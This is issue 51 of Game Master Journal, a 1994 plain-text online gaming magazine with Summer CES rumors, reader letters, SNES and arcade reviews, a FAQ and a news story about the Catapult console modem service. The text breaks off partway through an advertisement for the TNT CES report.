__ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| ISSUE 51 | +| An Innovative Creations production July 5 - July 12, 1994 | ++=============================================================================+ +| [ CES Report 2 will be in GMJ 52 ] | +| Arcade Reviews: Revolution-X, D+D Tower of Doom, Alien vs. Predator | +| In-depth look at the Catapult | +| SNES Reviews: Saturday Night Slam Masters and Barkley | +| Mortal Kombat II info, and more, in Ace's Angles | ++=============================================================================+ + + Ace's Angles + MK2 for Super NES "confirmed" at 32 meg and more + Ultimate '94 Summer CES video + Get the only moving footage of Donkey Kong Country and Sega's 32X + Express Mail + Readers respond to GMJ 50 + Super NES Reviews + Barkley: Shut Up and Jam! + Saturday Night Slam Masters + Arcade Reviews + Alien vs. Predator + D&D Tower of Doom + Revolution X + GMJ's RLR: Real Life Rankings + The five least and most likely summer jobs for GMJ writers + Game Master Journal's FAQ, version 1.1 + FAQ {Frequently Asked Questions} for the masses + The NEWS + Catapult to bring millions online + Project TNT + The next thing - order quick! + ++============================================================================+ +| ___ _ ___ _ | +| / _ \ ( ) / _ \ | | | +| | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ | +| | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| | +| | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ | +| |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ | +| __/ | | +| |___/ | ++============================================================================+ + Welcome to the warp zone! Hi gang, it's Anthony "Ace" Shubert back to give + you the dirt the other mags wouldn't tought. Not with a 25-meter pole. =] + Are you ready for Mortal Kombat II? It's confirmed at 32-meg for the Super + NES and rumored to hit the big 4-0 for the Genesis. Ouch. It plays great, as + I have said before. How about the missing "Tanya" from the arcade game? + We'll have to wait-and-see on that one.. + I entered Blockbuster's World Game Championships, coming in second for the + week in both places that I entered, and have a real shot of winning both + stores. [I missed week 2 for the Summer CES, and I'll make it up this + Saturday.] I only need to score 80 thousand in Teenage Mutant Ninja Turtles: + Tournament Fighters to win.. shouldn't be TOO hard. Remember, the winners of + many stores go to a ADI tournament [ADI is a term used in TV-land, "Area of + Domestic Influence", to determine what states are important to what areas.] + and the winners there go on to Ft. Lauderdale for the World Finals. [Cool!] + Chris Gore is the head editor of VideoGames magazine. Now, VG is a great + mag, but this guy isn't. He's pretty _low_, actually. [I thought I put this + in A's A in GMJ 50, but I was mistaken.] At Sega's ultra-cool Press Party the + night before the Summer CES, Zack Maeston and I were talking - Zack is a + contributing writer often found in Wired magazine - and we see Chris. I go + over and talk to him for about 2 minutes. + "So Chris, how's that online version coming?" I ask him. + "Well, we're looking into.. do...ing...." and he WALKS AWAY FROM ME, + mid-sentance. He trolls around a bit, and then goes into the mens room. + Jilted? Yep - I didn't really like that. As Tanya [Future Wave Editor] + would say.. "No, not even a little bit." + So - I told Zack and Chris B. [editor] what I thought about him - and I've + been advised not to put them in the cyberpages of GMJ. [Little kids read + this, after all =] So.. lets just say that Gore is a Richardhead, and leave + it at that. + Whew - flaming a non-Netter. Oh well.. + More rumors: Midway's Mortal Kombat-esque WWF game for the arcades has been + delayed until further notice [licensing problems]... Revolution X, a + shoot-em-up by Midway is BOMBING in the arcades around Boston and Los + Angeles... Super Bomberman II is going to get a huge push by Hudson Soft as + that is their onnly major title this fall... 'Sonic and Knuckles' will be a + Game Genie-like device that attaches to your Sonic 2 or 3, and if you play it + with Sonic 3 you get the three 'japan only' levels not released in the + States... and finally some sense: there will not be a Pac-Man 2000 for the + Jaguar. Could you picture that one? + One more rumor that hit my desk this (Tuesday) morning... in the upcoming + Mortal Kombat III arcade game there will be homage paid to the shareware game + "Pong Kombat!" In PK, there are 'spamalities,' a real-life move based on many + rumors of a spamality in MK2. Well, rumor has it that Ed Boon and the crew at + WMS Industries were so impressed that they'll put something very similar im + MK3. I'm still waiting for "Tanya wins.. Friendship!" myself... + Well, gotta fly. Stay tuned, eat your vitimins, read GMJ and I'll cya next + Tuesday [or later, if you live overseas.] + +:::: ADVERTISEMENT ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +:: :: +:: __ ______ _ __ _ ____ __ __ :: +:: / / / / / /_(_)___ ___ ____ _/ /____ ( ) __ \/ // / :: +:: / / / / / __/ / __ `__ \/ __ `/ __/ _ \ |/ /_/ / // /_ :: +:: / /_/ / / /_/ / / / / / / /_/ / /_/ __/ \__, /__ __/ :: +:: \____/_/\__/_/_/ /_/ /_/\__,_/\__/\___/ /____/ /_/ :: +:: :: +:: _____ _________________ :: +:: / ___/__ ______ ___ ____ ___ ___ _____ / ____/ ____/ ___/ :: +:: \__ \/ / / / __ `__ \/ __ `__ \/ _ \/ ___/ / / / __/ \__ \ :: +:: ___/ / /_/ / / / / / / / / / / / __/ / / /___/ /___ ___/ / :: +:: /____/\__,_/_/ /_/ /_/_/ /_/ /_/\___/_/ \____/_____//____/ :: +:: :: +:: You've read the reviews - now SEE the moves! Exclusive video footage!! :: +:: :: +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +: : +: Video Source and GMJ have teamed up to create the ultimate Summer Consumer : +: Electronics Show video. Our video will contain: : +: : +: * direct feed of the hottest games, : +: * interviews from well known people from various companies, such as : +: Bill White from Sega and many more, : +: * previews of the 32X, Jaguar add-ons and Ultra 64! : +: * Mortal Kombat II, Donkey Cong Country, Super SF2, Alien vs. Predator, : +: Way of the Warrior, and more! : +: : +:Marty Chinn is known for running Video Source, day by day CES reports from : +:last winter, and the WCES video. GMJ is the #1 online gaming magazine : +:and without them, the interviews could not be possible. : +: : +:What a perfect team! : +: : +:The price of the video will be 12 dollars plus shipping. Shipping costs are: +:as follows: : +: : +: US: $3.00 Canada: $3.50 International: $10.00 : +: : +:Please make check or money orders payable to _Linda Chinn_ and send it to: : +: : +:>>>>>> Video Source : +:>>>>>> 973 Foxglove Dr. : +:>>>>>> Sunnyvale, CA 94086 : +: : +:OR - call 617.472.0041 and ask for the Summer CES video if you have : +:an Visa, MasterCard or Discover/Novus. Same Day shipping if you order : +:with a credit card! [After tape is complete: about 7/7/94.] : +: : +:Marty Chinn and GMJ are also a part of Project TNT and it will definately be: +:hot so don't hesitate to order your copy. TNT for in depth info and Video : +:Source and GMJ for the ultimate video, will give the CES experience to you. : +:Forget the rest, get the best. TNT and Video Source/GMJ. : +: : +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + _____________________________________________________________________ + ]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ + ] Innovative Creations [ + ] 25 Temple Street +--- + + +--+ +--+ +--- +-- +-- [ + ] Quincy, MA 02169 |- ++ +--+ |-++ |- +--+ +--+ [ + ] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ + ] |\ /| +--+ -+- | [ + ] | | |--| | | [ + ] | | | | -+- +--- [ + ]_____________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +>>> Welcome to the one-stop shop for reader feedback! While we can't print +>>> it all, we do read it all, so write in! Talk about anything [how good GMJ +>>> is, finding out if I'm single, a question on a game, etc.] + + Hi! I just read your 50th issue of GMJ (Game Master Journal) and I +must say I thought it was excellent. Now I wan't a subscription. That CES +coverage was great I must say. My only objection is that there are so many +great gaming systems that I wan't to buy them all, but alas I can't. Oh +well! That's not your fault. Anyway, congratulations on your magazine and +good luck. +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* +* Rich the Psyko One * +* E-Mail: st93arqy@dunx1.ocs.drexel.edu * +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* + +[BDW: Thanks - we really had a great time at the Summer CES, and we enjoy + letting you know about the show. ] + + +Hello, +Issue 50 is the first issue of your mag that I have seen. GREAT. I am an +avid video gamer w/both SEGA, SNES, and a 486/66mhz Gateway. Could you send me +issues 45-49? OR can I get them via FTP? Can I get a copy of your faq? also +please add me to your mailing list. +In issue 50 you mentioned [See CES report: part 2...] Where can I get that? In +other words you have a great mag and I want more!!!!! :) + + Thanx in advance, + Eric +-- Eric Adriaansen, MIS +-- Internet mail address: eric%courier@mcimail.com + +[BDW: Please see the FAQ in this issue. It has our FTP site [and hopefully, it + is actually WORKING]. + Many people have asked about [See CES report...] that is our little guide + to when you can see more. CES Report part two is this issue, three next + week, and if needed - a fourth in GMJ 53. ] + + ..................................................................... + : : + :# # ##### # # ### # # ##### ##### # # ### ##### # : + :# # # # # # # ## # # # ## ## # # # # : + :# # ### # # ##### # # # # ### # # # ##### # # : + :# # # # # # # # # # ## # # # # # # # # : + : # # ##### # # # # # # # ##### # # # # ##### #####: + : ........................: + :ANTHONY SHUBERT shubert@usc.edu : : + :DAVID RUBIN cue@escape.com : Without email, GMJ : + :TANYA KUTASZ tnkutasz@ugcs.caltech.edu : can't work! So tell : + :all other staff shubert@usc.edu : us what you think! : + : : : + :...........................................:.......................: + + ____________________________________________________________________ + | | + | #### # # #### ##### #### % % %%%%% %%%% R E V I E W S | + | # # # # # # # # %% % % % R E V I E W S | + | ### # # # # ## ##### % % % %% %%% R E V I E W S | + | # # # #### # # # % % % % % R E V I E W S | + | # # # # # # # # % %% % % % R E V I E W S | + | ### ### # ##### # # % % %%%%% %%% R E V I E W S | + |____________________________________________________________________| + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: SIZE: AVERAGE OF REVIEWS | +| Barkley Shut Up Accolade Sports/ 12 Meg ..............77 | +| and Jam Basketball #####@@@@@&&&&&% | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Cue 80 Ace 74 | +| | ++=============================================================================+ + + Ummm... NBA Jam, meet Barkley Shut Up and Jam, and Barkley Shut Up and +Jam? Meet your maker... literally. + Graphically, during the game, this game has nice backgrounds, nice areas +of plays, and BAD looking players. Sure, you can tell Charles Barkley apart +from the other characters, some of the time anyway. The characters are pretty +blurry (and this is not because I'm not wearing my glasses), and I must say +that Accolade could have done a better job. When moving back and forth on the +court, it's hard to tell who you are sometimes for there is no identification +marker, which is a very simple addition to the game. The nice graphics are +those of a digitized Sir Charles, and that's about it. + The sound in this game, on the other hand, is very well done. Some of the +music is just very good. When you pause the game, Mr. Charles says "Time Out" +and little niceties like that. After scoring a basket, you hear lots of +yelling from the characters on the floor. However, this gets a bit repetitive, +but who cares, it sounds good! The music in the background of the game is nice +as well, with each area of play having different music. + The game, I must admit, has some nice options. For example, not only do +you have a single game option, but you can start a series, a tournament, +amongst other things. You even have the option of continuing a series where +you left off (sounds a bit familiar there, does it not?) When playing the +game on the court, as mentioned above, a little signal telling you who your +character is would be nice, otherwise playing is pretty easy (sorry folks no +turbo in this one). + In all, this game really does not seem like anything worth playing. But, +because I like Sir Charles, I gave it a higher rating. + +Cue - 80 Well, if NBA Jams never existed, this game might have made it, + and people still might buy it for Sir Charles himself, but with + NBA Jams out there, this game can forget about making anything + substantial. + +Ace - 74 BOR-RING. Yeah, "Sir Charles" looked okay, but do you really + want to spend youur money on another basketball game that does + little to change NBA Jam? Go buy a 5-player adapter for Jam + and order pizza instead of buyin' this one. + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: SIZE: AVERAGE OF REVIEWS | +| Saturday Night Capcom Sports/ 24 Meg ...............82 | +| Slam Masters Wrestling #####@@@@@&&&&&%| | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Cue 89 Ace 75 | +| | ++=============================================================================+ + + With Capcom's release of Super Street Fighter II, most people will +probably overlook Saturday Night SlamMasters. This game is an excellent arcade +translation, and if ANYTHING should be at least rented just to check it out. +Here is all that dirty stuff about the game. + Saturday Night Slam Masters, as you may have guessed, is an arcade +translation of the original wrestling game. Having played both, I must say +that the Super Nintendo version of this game, really does compare to it (much +like the Final Fight/SFII series). The graphics are very well drawn, but are almost +too much like Street Fighter II. The graphics in general during the action +are very nicely done. It looks like Final Fight and/or SFII in a +wrestling ring! And the characters are most detailed. You have the ability to +pick between Biff, Gunloc, Oni, Titan, Stingr, Grater, Rasta, and Haggar (yes, +that's Haggar from Final Fight. Remember? He was a wrestler.) The graphics +in play are very detailed, right down to the character introductions in the +beginning of the match. + The sound in this game consists mainly of music and grunts. The music is +very appropriate for the area you are playing in, weather it be Los Angeles or +Mexico, or where ever else they decide to stick you. Each character has his own +theme music, which is a nice addition to the game. It even has the nicety of +say YOU LOSE after you lose a match. All the music, as usual, can be played +back through the options screen. And to me, the title music sounds just a BIT +to much like the Mega Man X theme music. Oh well.. must be my imagination. + Control and Playabillity are a big part of a game, and this one delivers +on both. The +control consists of only 3 buttons, being the attack, jump, and pin buttons. +Moving around, attacking and the such are simple. However, if you get pinned +by the computer, my recommendation is pull out the Turbo Controller, and let it +do it's job. + So, if your looking for a good wrestling game, your very close. Very very +close. However, this game seems to much like a combination of Street Fighter +II and Final Fight, so I couldn't say it's perfect as a game. As far as an +arcade translation, I must say it's perfectly done. + +Cue - 89 I'm not one to knock Capcom after their Final Fight/Street + Fighter II/Megaman stuff, but this game could use work to be + more of a wrestling type game. Otherwise, I'm impressed. This + is a rent-before-you-buy type game. + +Ace - 75 Street Fighter In a Ring. That's it. This is a direct port of + the arcade game, but that isn't saying a great deal. The game + has more cheezes than a Swiss Winery! Just be Oni and do that + Ken/Ryu-like Hurricane Kick and you'll never be touched. + Really, it looks and sounds and plays great for a FIGHTING game, + but there is a difference between fighting and wrestling. + Someone tell Capcom. + +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* +| ____ __ ____ __ _ | +* / __ \______________ _____/ /__ / __ \_____/ /_(_)___ ____ * +| / /_/ / ___/ ___/ __ `/ __ / _ \ / /_/ / ___/ __/ / __ \/ __ \ | +* / __ / / / /__/ /_/ / /_/ / __/ / __ / /__/ /_/ / /_/ / / / / * +| /_/ /_/_/ \___/\__,_/\__,_/\___/ /_/ /_/\___/\__/_/\____/_/ /_/ | +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: AVERAGE OF REVIEWS | +| Alien vs. Capcom Sci-Fi ................83 | +| Predator #####@@@@@&&&&&%| | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Eli 83 | +| | ++=============================================================================+ + +Still can't get enough Alien Vs. Predator after the SNES and Jaguar versions? +In this version, Aliens have infested Earth, and, like the hero or heroine you +are, you've got to save it. Luckily, you've got some help from two Predators +who have just arrived for a hunt. The four of you should be able to handle it, +right? + +This game is setup like Final Fight, and you have a choice betweeen four +different characters: Maj. D. Schaeffer has the best strength , Lt. Ripley +has the best skill rating, the Predator Hunter has well rounded stats, and the +Predator Warrior has good speed (I think). + +Each character has several different attacks, plus a missile weapon whose power +is indicated at the bottom of the screen. You can also do a spin attack by +pressing the attack and jump buttons (like Final Fight); for example, the +Hunter tosses discs of death around him. This, like Final Fight, uses energy. + + +Your jump button really doesn't make you necessarily jump; for example, while +using the Predator Hunter you can push down and jump for a sliding kick, or +horizontally and jump for a dash, etc. This makes the play control a bit +difficult until you're used to it. + +You'll notice that some moves seem to come straight out of SFII, such the +Predator Hunter's (I really like him...:) jump attack, which looks like a +dragon punch. Unfortunately, there can't be two/three Major Schaeffers, two +Predator Hunters, etc. because there is no "same character" option. + +All in all, the game isn't bad, but it isn't really worth the 50 cents (maybe a +quarter). It's just another side-scrolling fighting game, and unfortunately, +the catagory has been fairly much expended. Otherwise, it's a pretty good +game. + ++-| ADVERTISEMENT |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ ### ### # # ##### #### ' ### # # ### #### # #### \ +\ # # # ## ## # # # # # # # # # # # # # (617) / +/ # ## ##### # # # ### #### ### # # # # #### # # # 472 \ +\ # # # # # # # # # # # # # # # # # # # # VERY! / +/ ### # # # # ##### # # #### # # ### # # ##### #### \ +\ / +/ The home BBS of Game Master Journal - 24hrs - 640meg - 2400 baud - FREE! \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: AVERAGE OF REVIEWS | +| D&D Tower of Doom SSI / Capcom Action/RPG ..................91| +| #####@@@@@&&&&&%%%| | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Eli 86 Ace 95 | +| | ++=============================================================================+ + +An evil force of some kind is uniting the monsters and causing them to attack +humans. And for an adventurer like you, that's an opportunity to make some +silver pieces. "Welcome to the D&D world." + +Choose from one of four warriors--the dwarf with his excellent endurance, the +fighter for his skill in the way of the sword, the cleric with his power to +heal and destroy the undead, or the elven mage/warrior, with her powers of +magic--and set forth to save the land. + +This game is also set up similarily to Final Fight--a side scrolling beat-em-up +escapade, but has many things which set it apart. For example, you'll probably +first notice that there are four buttons: Attack, Jump, Select Item/Magic, and +Use Item/Magic. Next, while playing, you'll notice that yes, you can name your +character, and, like Golden Axe II, you can play up to four characters +simultaneously. Unfortunatly, there can only be one fighter, one mage, one +dwarf, etc. (ie. no same profession) Next, you can make decisions as to where +your party goes (Do you want to try and save the fort yourself, or go to the +village and ask someone else to do it?). + +There is one thing that sets this game apart from the other typical Final Fight +type: Secret passages. Another nice touch is that the spellcasters use voice +when casting a spell ("Continual Light!" BLAM!). + +Control and graphics are excellent, as is sound. However, this game suffers in +the originality department, because of it's "Final Fight-ish" approach. +Otherwise the game is pretty good. Now if only the arcades would stop with the +50 cent bit, I could play this more. + +Ace - 95 This is a fantastic game! Get three of your role-playing + friends together and do the video roleplaying thing! It really + works: you have the characters arguing over which path to take, + who should get what item, etc. Great! + ++=============================================================================+ +|TITLE: DEVOLPER/PUBLISHER GAME TYPE: AVERAGE OF REVIEWS | +| Revolution X Midway Shooter .................85 | +| #####@@@@@&&&&&%%% | +| | +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Eli 90 Ace 80 | +| | ++=============================================================================+ + +The New Order Nation (NON) has taken over your country, your neighborhood, and +your life. No Voice. No Choice. No Games. No Music. + +Forget that! And remember, Music is the Weapon. (tm) + +In this 3-player simultaneous game, you are part of Revolution-X, and you and +two Xer's are on your way to see Aerosmith at Club-X. However, on your way +there, you happen to notice a NON assault chopper. Time to pull out your +handy-dandy machine pistol and trusty CD's of death. After attacking the +chopper, the game announces that "Revolution X has begun." + +Make your way to Club-X by blasting the various troopers. You can decide which +way you want to go at some points, as indicated by what seems like a CD control +panel. Don't forget to collect more CD's and other items such as the death +head (like the smart bomb in T2: The Arcade Game, but with a much better +effect). Oh yeah, you know what they said about music being the weapon? The +CD's are your side weapons in this adventure, and it is heavily suggested that +you collect 'em all (also a tm). They come in handy against heavily shielded +troopers. + +At Club-X, you'll find more troopers, so (obviously) you'll want to spill more +blood there (oh yeah, shoot them, and these guys bleed! MK fans will love this +one..now can we send them birthday cakes and flowers too?? :) + +Rev. X has excellent graphics and sound (thanks to DCS). The cabinet to big, +so no one should be scrounging for room. The gun is accurate, and the use of +CD's as a super weapon is original. However, many of it's elements are similar +to T2:TAG. One nice touch is that if you are being hit, you'll know--a big +"HIT" sign lights up above your life meter indicating it. Overall, it's worth +the 50 cents to start, but not to continue. + +Ace - 80 'Eh'. Nice attempt at a T2 follow-up, but it's too much of the + same. Granted, choosing your path was a nice feature, as was + the nice Aerosmith backgrounds - but where was "Eat the Rich" or + "Crazy?" Oh well.. lets bring Hammer out! [You know, the + rapper? Never mind..] + + [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] + ____ __ __ _ _ + / ___| \/ | | ( )__ Five most and least likely summer + | | _| |\/| |_ | |/ __| jobs for GMJ staff... + | |_| | | | | |_| |\__ \ WRITTEN BY: Back Door Weasel + _____ \____|_| |_|\___/ |___/ + | __ \ TOP FIVE [#1 = most] BOTTOM FIVE [#1 = least] + | |__) | #1 ACE: Software designer ACE: Editor of EGM + | _ / for a videogame group + | | \ \ + |_| \_\ eal #2 CUE: Pool-hall manager ACE: Head of the Chris + | | Gore fan club + | | + | | #3 SAI-BLADE: Hardware ELI: Author of 'Pong: the + | |____ designer for IBMs game, the myth, the legend' + \______| ife + | __ \ #4 ELI: Author of 'MK2 SAI-BLADE: Head of Game Boy + | |__) | Krazy Katatonic fan club + | _ / Kombos' + | | \ \ #5 SHEZ: Mothering her CUE: RAM salesman + |_| \_\ ankings three kids + + [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] [-=-{}-=-] + + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Game Master Journal Frequently Asked Question sheet, version 1.10 + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + Q: Who makes Game Master Journal? + A: GMJ is made by Innovative Creations, 25 Temple Street, + Quincy, MA 02169. Email is shubert@usc.edu, phone is 617.472.0041 + and fax is 617.472.1092 + + Q: What is it and how often does GMJ come out? + A: GMJ is a weekly online videogame magazine that covers Super NES, + Genesis, Arcade and IBM-PC games. We also cover high-end systems, + including Jaguar and 3DO. + + Q: How can I get GMJ? + A: GMJ is distributed through the following means, in order... + 1) email. To get on our email list, email [shubert@usc.edu] and + make the subject line "GMJ add FAQ" + 2) newsgroups. We post GMJ in the rec.games.video.* groups, as + well as alt.games.mk, alt.games.sf2 + 3) FTP. We are on [sunsite.unc.edu] in the uploads/GMJ directory. + + Q: How many people read GMJ? + A: As of now, there is no accurate way to tell, because people get it + through many different means. Our best guess is 250,000 readers, + revised quarterly. + + Q: What else does GMJ do over the Internet? + A: GMJ's Tuesday Night IRC provides an interactive conversation with + many of the GMJ Crew, as well as industry insiders, for all GMJ + readers. ALL SUBJECTS DISCUSSED. Tuesday Night IRC takes place in + channel #GMJ, at 8pm US-Eastern Time. + Coming soon: the Game Master Journal newsgroup, + alt.mag.game-master-journal + + Q: Why doesn't GMJ have many ads? + A: We do take ads, but many companies aren't interested in magazines + that tell the truth about their products. Also, being a new + medium, many companies aren't used to advertising through it. + + Q: Well, I own a [fill-in-your-system-here]. Can I write articles? + A: ABSOLUTELY. Send them to [shubert@usc.edu]. To review a game, + rate it from 5 to 100 and give either a small review (4 sentance) + or a full review (4 to 10 paragraphs). For other articles, please + write for more info. + + Q: Hey! These people stole my codes - I wanna sue! + A: Our policy is to publish all codes we find. If you happen to find + them too that's nice - that does NOT mean that we didn't also. + Just to be on the safe side, however, we are publishing a "these + people too" list is we see codes posted on the Net before our issue + comes out. + OR, you can email them to US and _not_ post them.. you could win + something! + + Q: Where can I get this FAQ, how often is is posted and updated? + A: GMJ-FAQ comes out every Thursday, in the rec.games.video newsgroups, as + well as in alt.games.mk and alt.games.sf2; you can also find it in our FTP + site [see above.] The FAQ is updated as needed. + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ \ +\ # # ##### # # ### # # #### #### ### ##### ##### / +/ ## # # # # # # # # # # # # # # # \ +\ # # # ### # # ### # # #### # # ##### # ### / +/ # ## # # # # # # # # # # # # # # \ +\ # # ##### # # #### ### # #### # # # ##### / +/ \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + + New online service to bring many SNES, Genesis users on-line + + LOS ANGELES, CA (GMJ) - The Catapult system aims to launch gamers into + cyberspace, allowing for head-to-head, cross-country competition. + + Using pre-existing software, the Catapult uses a Game Genie-like + software-interception technique to tell the Super NES or Genesis to treat the + Catapult modem as the second (or 3rd and/or 4th) controller. You plug the + game into the modem, the modem into the SNES or Genesis, and when you turn it + on, it dials an 800 number automatically. While the system downloads the + information needed to play the game you have selected, you are presented with + a small on-screen newsletter relating to the game. (For instance an NBA Jam + tournament announcement, for Jam players.) + + Once that info is set, you log-in as your 'character', as real names are not + used on the system. The computer will then match you up with players of + similar ability, and if you choose, are not long-distance. + + What this means is two cross-town friends can play NBA Jam in each of their + own homes with nothing apparent happening. + + One feature that will make this system great is the ability to keep overall + records for later use. Catapult saves who won and lost, adding and + subtracting from your ranking (for instance, if you played NBA Jam you would + start as a high-school player, and move up to HS starter, college player, + 1st-round draft choice, bencher, player, starter, star and super star.) + Multiple records are kept for each member of the family (up to 4 can be a + member on one subscription) and for each game played. + + Virtually all pre-existing multi-player Super NES and Genesis games can be + supported with no modification ofthe game's program, which impressed many + people at the Summer CES, where it debuted. + + "I can't wait to play NHL when this gets going," said one Sega PR rep. + + Companies are very supportive of the Catapult because games do not need to be + designed with the network specifically in mind. Nintendo, Sega and Acclaim + all support the system, with Capcom soon to follow. + + Phone-fatalities, anyone? (Would those be phonalities?) + + The system will cost $5 to $10 a month, depending on the payment plan + selected. Parents can restrict usage by certain members of the family to + Weekends Only, or any time of day they want, so the phone line isn't tied up + too long. There is also a long-distance toggle, preventing people from + calling out-of-area to play Mortal Kombat, for instance. + + Other features on the network include: a simple email system [using either a + PC keyboard or hunt-and-pecking with the controller], post in simple news + areas, and check the rankings of other players in the area and the country. + +[====| ADVERTISEMENT |=======================================================] + + TNT continues to be the least expensive comprehensive provider of game + information for individual game systems. While CES video tapes (covering + specific systems or the show in general) will cost you between $15 and $25 + with shipping costs, TNT costs only $6.00 for basic show coverage and $11 for + both basic coverage and your choice of game system packages, total -- no + shipping cost in the USA! 19 writers will be contributing to TNT, ensuring the + maximum quantity of gaming news for the dollar. + + ******************/\********************************************************* + *****************/ /********* A Renegade Technologies Unlimited Production ** + ****************/ /********************************************************** + ** _______ /\ / /_______ ****************************** _ ************** + **/__ __// \/ //__ __/ *** / ********************* @\ ___ **** + ** / / / /\ / / / *** / ********** ___ ___ | | | | *** + ** / / / / / / / / *** \ | | |\/| |\/| | | ] [___| [___| *** + **/_/ / / /_/ /_/ *** \ | | | | | | |___ [___] | | *** + ******/ /******************** / | | | | | | | | \ | | *** + *****/ /* -The Next Thing- ** / [__] | | | | [___ | \ | | *** + *****\/********************************************************************** + ***************************************************************************** + ** Get Your Hands On The Single Best Summer CES Resource Available! ** + ***************************************************************************** + + Think back six months or a year to the last time you read a CES report + on the Internet. Remember all the people who said they would show up and + post a series of reports with everything they saw? Most of them never did. + After Summer CES '93, Renegade Technologies Unlimited came back with answers + to questions asked by Internet gamers and followed up by unleashing hundreds + of pages of text including question-and-answer sessions with the Internet + gaming public, a list of every game shown with ratings/comments, digitized + photographs and even sound files from then-unreleased games such as Street + Fighter II Champion Edition for the Genesis. After Winter CES '94, we + coordinated online interviews with show participants and made their + transcripts available within 24 hours. + Now we're shining our shoes and ironing our clothes in preparation for + the 1994 Summer Consumer Electronics Show. Less than a month from today + (June 23-25), 19 TNT staffers will take to the show floors of McCormick Place + and bring back incredible insights into the next year of video game products. + You read it correctly, "insights." Not just some guy summarizing Virtua + Fighters in one-syllable words; we're talking about pages of solid text and + pictures devoted to bringing home the whole story behind the SCES. + TNT (The Next Thing) magazine was conceived as the end-all-be-all of + SCES coverage, combining audio, video and written reports in an effort to + save the average gamer $500+ on airfare and hotel accommodations. We do all + the footwork, we ask all the questions, and we burn ourselves out. You sit + at home playing video games and receive a big envelope in the mail. It's + simple and it will work -- just ask any of the people who have already + subscribed to TNT about our high quality customer service. One issue only, + no continuing obligations, arriving in mid-July... but read on. + Take a look back at some of your old game magazines. How much CES + coverage did you find? 10 pages? Maybe 15 at best? That's not coverage, that's + shameful -- this is a 3-day event with hundreds of exhibitors, and everyone + has something interesting to show. Ever wonder why the major gaming mags + can only squeeze a few pages of information out of a show that lasts for + three or four days? Answer: Their "writers" don't pay much attention. Snap a + picture, make up a 30-word synopsis, and that's what the game was like at CES. + The high-quality TNT magazine will be a hardcopy printed booklet with + many pages devoted to the show's general highlights and notable events. The + magazine will feature sections devoted to showing the best games (regardless + of system) in each major genre, a look at the keynote speech by Nintendo's + Howard Lincoln, and some beautiful artwork by TNT's own Russell Kumro. For + the reader's maximum enjoyment, additional computer disks [available in IBM + and Macintosh formats] will carry photographs (and perhaps digitized sound + files) from the show, highlighting each major hardware-producer's licensees + and displays. Does TNT sound like it will kill your pocketbook? It won't, + because we designed the magazine around four principles to be flexible enough + to accommodate many types of readers. + + [*] Flexibility: [*] Today's gamer owns two or three systems and generally + despises competing companies. Do you own a 3DO and hate + Atari and their Jaguar? Or a Genesis and hate Nintendo? + Well, don't spend the money on information you'll just + skip anyway. The TNT magazine is available in + your choice of configurations -- you pick the systems + you want and we'll send you the appropriate disks and + printed materials. + + [*] Cost-Efficiency: [*] The printed TNT magazine with CES highlights will + cost only $6.00, a better value than what you would + get (a crappy 